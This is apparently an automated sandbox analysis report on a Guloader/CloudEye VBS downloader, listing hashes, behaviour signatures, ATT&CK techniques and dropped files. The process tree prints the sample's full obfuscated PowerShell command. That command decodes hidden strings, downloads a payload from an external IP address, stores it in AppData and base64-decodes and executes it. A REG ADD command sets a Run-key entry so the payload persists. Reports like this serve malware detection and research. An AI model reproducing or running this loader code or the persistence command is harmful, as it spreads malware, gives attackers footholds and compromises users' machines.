Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    28-06-2024 02:26

General

  • Target

    c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0.vbs

  • Size

    186KB

  • MD5

    24cf2fb7a16835406fbb8110f7728d06

  • SHA1

    c86b83506bcd6e6a5e72dd59b80f6d73fe7acd1c

  • SHA256

    c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0

  • SHA512

    85c37a37fd4e63f9add57055f65f887c5f21f37ff66caae518508b2e0e815a9daa14db8dbbf6dfa8162cb127d2d7f834d61c17dd707da8caf396cf46075ed936

  • SSDEEP

    3072:5mN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZw:508GxbKja3+DCbKCvBB/WnHXC/sLJFJD

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales';$anticamera = 1;Function Nihilisten($Sermonettino){$Dansesteder=$Sermonettino.Length-$anticamera;$Sporeplantes='SUBSTRIN';$Sporeplantes+='G';For( $Renoveringerne=1;$Renoveringerne -lt $Dansesteder;$Renoveringerne+=2){$Andetsprog+=$Sermonettino.$Sporeplantes.Invoke( $Renoveringerne, $anticamera);}$Andetsprog;}function Rectangular($Buoyant){ . ($Enschedule22) ($Buoyant);}$Dory=Nihilisten 'CM o z,iKl l.a,/C5 . 0 M( W i,nSdVo.wAs. TN T. 1 0 . 0 ; AW.i n 6R4 ;A Gx 6t4z;A Lr.v :.1G2.1.. 0 )o AGVeScNk o./ 2L0S1.0 0 1M0,1U ,FNiArTe.f oSx /,1.2,1 .F0F ';$Strejfet=Nihilisten 'AU,s eSr - A.g e.njtT ';$Friktion=Nihilisten 'ShGtPtFpF: /R/M1E0O3A.T1 9 5B.V2 3 7A.S4M3 /NApdSnEaPt,i,oBnS.VqSxgdC ';$Salvadoriansk=Nihilisten '.>B ';$Enschedule22=Nihilisten ',iCeGx. ';$Cartogram='Faldskrmssoldaters';$Inocarpin = Nihilisten '.e c,hUo, %,aCp.pLd a.t.a.%,\TS,aMl,tPuBrLt e,rOn e s .dGAe vU U&U& .e c.h oF HtU ';Rectangular (Nihilisten ' $ gRl.oSb a l :GSSaEm v iBtHtCi gJhVePdrsGlDs eFs.t 1 9S5T=S(Sc mFd ./Oc, L$ IEnAoscFa r pMi,n,) ');Rectangular (Nihilisten 'A$DgslAo b aAl : BMu n g,lZeI2R1.5T=D$ F.r iUk tAi.o.n . s pBl i t ( $ SAaPl,v,aSd o r iAa nKs kG) ');Rectangular (Nihilisten 'E[MNRe tK.,SMeRr v i c,eAP oIi n tCMBa.nRaGg e ru]O:T:CS,eVc.u.rMi tUy P r o,t.oBcDo l =I T[SNSeSt .SSTe ctu,rSi,t y.PAr,oStBoFc o,l TIy p eA]p:T:ETNlrsE1 2S ');$Friktion=$Bungle215[0];$ryaens= (Nihilisten 'T$ g lNoTbSa l :KS kLrSi vHe lSaSb e,lI= N epw -BO b j,eTcStM .S yOsEtseSm .RNSe.t.. W,e bNCfl iBeBn,t');$ryaens+=$Samvittighedslsest195[1];Rectangular ($ryaens);Rectangular (Nihilisten 'r$,S,k.r iSvOe.lUaBb.eUlL..HPeAaEd,e,rPs,[ $ S t,rPe.j.f eEtN] = $,DmoArKyV ');$Revellings251=Nihilisten ' $.STkBrSi v eNlTaUbSeTlM.LD oWw nOlUoAa,dDF iAlGeV(,$BFPr i,k t iFoPn ,K$CRFaSmLmUe,r,)P ';$Rammer=$Samvittighedslsest195[0];Rectangular (Nihilisten 'B$FgBl.oVbbaPlw:OA f,sDkQe dys f ebsFtPeCn sR=,( TdeSsPtV-,PUaPtWhF ,$,R aKm.m.e.rS)S ');while (!$Afskedsfestens) {Rectangular (Nihilisten ' $dgDl oHb aSlA: H vBiDl e nBeR=,$,t,rSuTeO ') ;Rectangular $Revellings251;Rectangular (Nihilisten 'SSKtFaVrKt.-HSRlAeAe.pR .4 ');Rectangular (Nihilisten 'R$Fg l oJb,aHlF:aA f sSkSeAdAs,fseLsOtEe,n sT= (ST.e s t - PFaPtRhN $YRUaNmpm e,rL) ') ;Rectangular (Nihilisten 'A$LgIl o bBaUlt:,TUe n oBuDr,sU6P2V=B$ g l oHbBa lL: MWa d,eNi r aCn.+.+ % $,B.u,n g,l e 2 1V5 .Hc o,u n,t. ') ;$Friktion=$Bungle215[$Tenours62];}$centrifugeringen=327851;$Laeotropic=24997;Rectangular (Nihilisten 'E$.g l,o b a,lC:.nBe cDr o pbh aDg y. .=M AG e,t -IC oSnSt eunVt .$FRCa m m eOrS ');Rectangular (Nihilisten ' $Pg,lSo,b aMl : ETx o c cAiKp i tVa,l =P [,S,y,sGtaeEmC. CFoDn vFeWr.t ] : :CF,rVo,mRBOa s,eR6,4TSFt ruiLnRgH(a$,n.e.cHr o pCh aSgPyV)M ');Rectangular (Nihilisten 'K$,gOlUo b aMl,:UR g eTrTr.imgAhIe d eFr n els. = [ S yFs,tPeFmG. TEeuxOtV.KE,n,cAopdri nDgU]P:,:FA SBC IEIF.RGOe.t SStHr iPnRgF(M$ ETx oGcscNi pUi tkaPl )B ');Rectangular (Nihilisten ' $ gSlTo b a lD:.JPurdJgPeSs,h,iSpR=A$ RLgFeZrMrSi gAhOeMdDeGr nFe,sB.BsFuibPs tmrBiAnTgL(S$ c eKnAt r.i f,uSgte r iMn.g e,nC,.$,LBaAe o tMr o pBiAc,), ');Rectangular $Judgeship;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2640
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Salturternes.Gev && echo t"
        3⤵
          PID:2524
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales';$anticamera = 1;Function Nihilisten($Sermonettino){$Dansesteder=$Sermonettino.Length-$anticamera;$Sporeplantes='SUBSTRIN';$Sporeplantes+='G';For( $Renoveringerne=1;$Renoveringerne -lt $Dansesteder;$Renoveringerne+=2){$Andetsprog+=$Sermonettino.$Sporeplantes.Invoke( $Renoveringerne, $anticamera);}$Andetsprog;}function Rectangular($Buoyant){ . ($Enschedule22) ($Buoyant);}$Dory=Nihilisten 'CM o z,iKl l.a,/C5 . 0 M( W i,nSdVo.wAs. TN T. 1 0 . 0 ; AW.i n 6R4 ;A Gx 6t4z;A Lr.v :.1G2.1.. 0 )o AGVeScNk o./ 2L0S1.0 0 1M0,1U ,FNiArTe.f oSx /,1.2,1 .F0F ';$Strejfet=Nihilisten 'AU,s eSr - A.g e.njtT ';$Friktion=Nihilisten 'ShGtPtFpF: /R/M1E0O3A.T1 9 5B.V2 3 7A.S4M3 /NApdSnEaPt,i,oBnS.VqSxgdC ';$Salvadoriansk=Nihilisten '.>B ';$Enschedule22=Nihilisten ',iCeGx. ';$Cartogram='Faldskrmssoldaters';$Inocarpin = Nihilisten '.e c,hUo, %,aCp.pLd a.t.a.%,\TS,aMl,tPuBrLt e,rOn e s .dGAe vU U&U& .e c.h oF HtU ';Rectangular (Nihilisten ' $ gRl.oSb a l :GSSaEm v iBtHtCi gJhVePdrsGlDs eFs.t 1 9S5T=S(Sc mFd ./Oc, L$ IEnAoscFa r pMi,n,) ');Rectangular (Nihilisten 'A$DgslAo b aAl : BMu n g,lZeI2R1.5T=D$ F.r iUk tAi.o.n . s pBl i t ( $ SAaPl,v,aSd o r iAa nKs kG) ');Rectangular (Nihilisten 'E[MNRe tK.,SMeRr v i c,eAP oIi n tCMBa.nRaGg e ru]O:T:CS,eVc.u.rMi tUy P r o,t.oBcDo l =I T[SNSeSt .SSTe ctu,rSi,t y.PAr,oStBoFc o,l TIy p eA]p:T:ETNlrsE1 2S ');$Friktion=$Bungle215[0];$ryaens= (Nihilisten 'T$ g lNoTbSa l :KS kLrSi vHe lSaSb e,lI= N epw -BO b j,eTcStM .S yOsEtseSm .RNSe.t.. W,e bNCfl iBeBn,t');$ryaens+=$Samvittighedslsest195[1];Rectangular ($ryaens);Rectangular (Nihilisten 'r$,S,k.r iSvOe.lUaBb.eUlL..HPeAaEd,e,rPs,[ $ S t,rPe.j.f eEtN] = $,DmoArKyV ');$Revellings251=Nihilisten ' $.STkBrSi v eNlTaUbSeTlM.LD oWw nOlUoAa,dDF iAlGeV(,$BFPr i,k t iFoPn ,K$CRFaSmLmUe,r,)P ';$Rammer=$Samvittighedslsest195[0];Rectangular (Nihilisten 'B$FgBl.oVbbaPlw:OA f,sDkQe dys f ebsFtPeCn sR=,( TdeSsPtV-,PUaPtWhF ,$,R aKm.m.e.rS)S ');while (!$Afskedsfestens) {Rectangular (Nihilisten ' $dgDl oHb aSlA: H vBiDl e nBeR=,$,t,rSuTeO ') ;Rectangular $Revellings251;Rectangular (Nihilisten 'SSKtFaVrKt.-HSRlAeAe.pR .4 ');Rectangular (Nihilisten 'R$Fg l oJb,aHlF:aA f sSkSeAdAs,fseLsOtEe,n sT= (ST.e s t - PFaPtRhN $YRUaNmpm e,rL) ') ;Rectangular (Nihilisten 'A$LgIl o bBaUlt:,TUe n oBuDr,sU6P2V=B$ g l oHbBa lL: MWa d,eNi r aCn.+.+ % $,B.u,n g,l e 2 1V5 .Hc o,u n,t. ') ;$Friktion=$Bungle215[$Tenours62];}$centrifugeringen=327851;$Laeotropic=24997;Rectangular (Nihilisten 'E$.g l,o b a,lC:.nBe cDr o pbh aDg y. .=M AG e,t -IC oSnSt eunVt .$FRCa m m eOrS ');Rectangular (Nihilisten ' $Pg,lSo,b aMl : ETx o c cAiKp i tVa,l =P [,S,y,sGtaeEmC. CFoDn vFeWr.t ] : :CF,rVo,mRBOa s,eR6,4TSFt ruiLnRgH(a$,n.e.cHr o pCh aSgPyV)M ');Rectangular (Nihilisten 'K$,gOlUo b aMl,:UR g eTrTr.imgAhIe d eFr n els. = [ S yFs,tPeFmG. TEeuxOtV.KE,n,cAopdri nDgU]P:,:FA SBC IEIF.RGOe.t SStHr iPnRgF(M$ ETx oGcscNi pUi tkaPl )B ');Rectangular (Nihilisten ' $ gSlTo b a lD:.JPurdJgPeSs,h,iSpR=A$ RLgFeZrMrSi gAhOeMdDeGr nFe,sB.BsFuibPs tmrBiAnTgL(S$ c eKnAt r.i f,uSgte r iMn.g e,nC,.$,LBaAe o tMr o pBiAc,), ');Rectangular $Judgeship;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1800
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Salturternes.Gev && echo t"
            4⤵
              PID:2836
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of WriteProcessMemory
              PID:2488
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lamenting" /t REG_EXPAND_SZ /d "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\Americas\').skrupulses;%Hyraciform% ($Inextinguishables)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1656
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lamenting" /t REG_EXPAND_SZ /d "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\Americas\').skrupulses;%Hyraciform% ($Inextinguishables)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:1804

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Defense Evasion

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9YZ5TW84ORTU9D7W04T7.temp
        Filesize

        7KB

        MD5

        7c6c6913f7b583e8f5d3d9f12261b749

        SHA1

        01f71a3a3d3c31c27425531fdf0449d04be341e9

        SHA256

        c850b6276fc889fdedc1609a9f964cf9559b9108485a5450e3e4fb26968b864b

        SHA512

        4ca78cd66bde6f93b0df7d42ae461fb0f48a7c7fc1f72a5a5b22b1a9b114fce04484d79ab4b1725df10f687365dff1347ab6d01fa0dc2d6e42a6134047cbe984

      • C:\Users\Admin\AppData\Roaming\Salturternes.Gev
        Filesize

        459KB

        MD5

        6ef66957717bc15ae76851390564ca9c

        SHA1

        5bb6373bcaecfaa6a584185d9c0980cdb9860611

        SHA256

        391996b3a8b0a6ad1aac1fb9834fb1b266d009733e6c1e8c7684f213de528716

        SHA512

        3f5febee655e3cd58f73fef4e24b0526469c777555dfc027ab9634e46439d24ce11cc97d64af0d2c8affcade2b34058304b12687d0ac6eb419e80130da219a71

      • memory/1800-35-0x0000000006870000-0x00000000081F3000-memory.dmp
        Filesize

        25.5MB

      • memory/2488-39-0x0000000001A40000-0x00000000033C3000-memory.dmp
        Filesize

        25.5MB

      • memory/2488-37-0x00000000009D0000-0x0000000001A32000-memory.dmp
        Filesize

        16.4MB

      • memory/2640-27-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp
        Filesize

        9.6MB

      • memory/2640-21-0x000007FEF565E000-0x000007FEF565F000-memory.dmp
        Filesize

        4KB

      • memory/2640-26-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp
        Filesize

        9.6MB

      • memory/2640-25-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp
        Filesize

        9.6MB

      • memory/2640-33-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp
        Filesize

        9.6MB

      • memory/2640-34-0x000007FEF565E000-0x000007FEF565F000-memory.dmp
        Filesize

        4KB

      • memory/2640-24-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp
        Filesize

        9.6MB

      • memory/2640-22-0x000000001B790000-0x000000001BA72000-memory.dmp
        Filesize

        2.9MB

      • memory/2640-23-0x0000000001EF0000-0x0000000001EF8000-memory.dmp
        Filesize

        32KB

      • memory/2640-41-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp
        Filesize

        9.6MB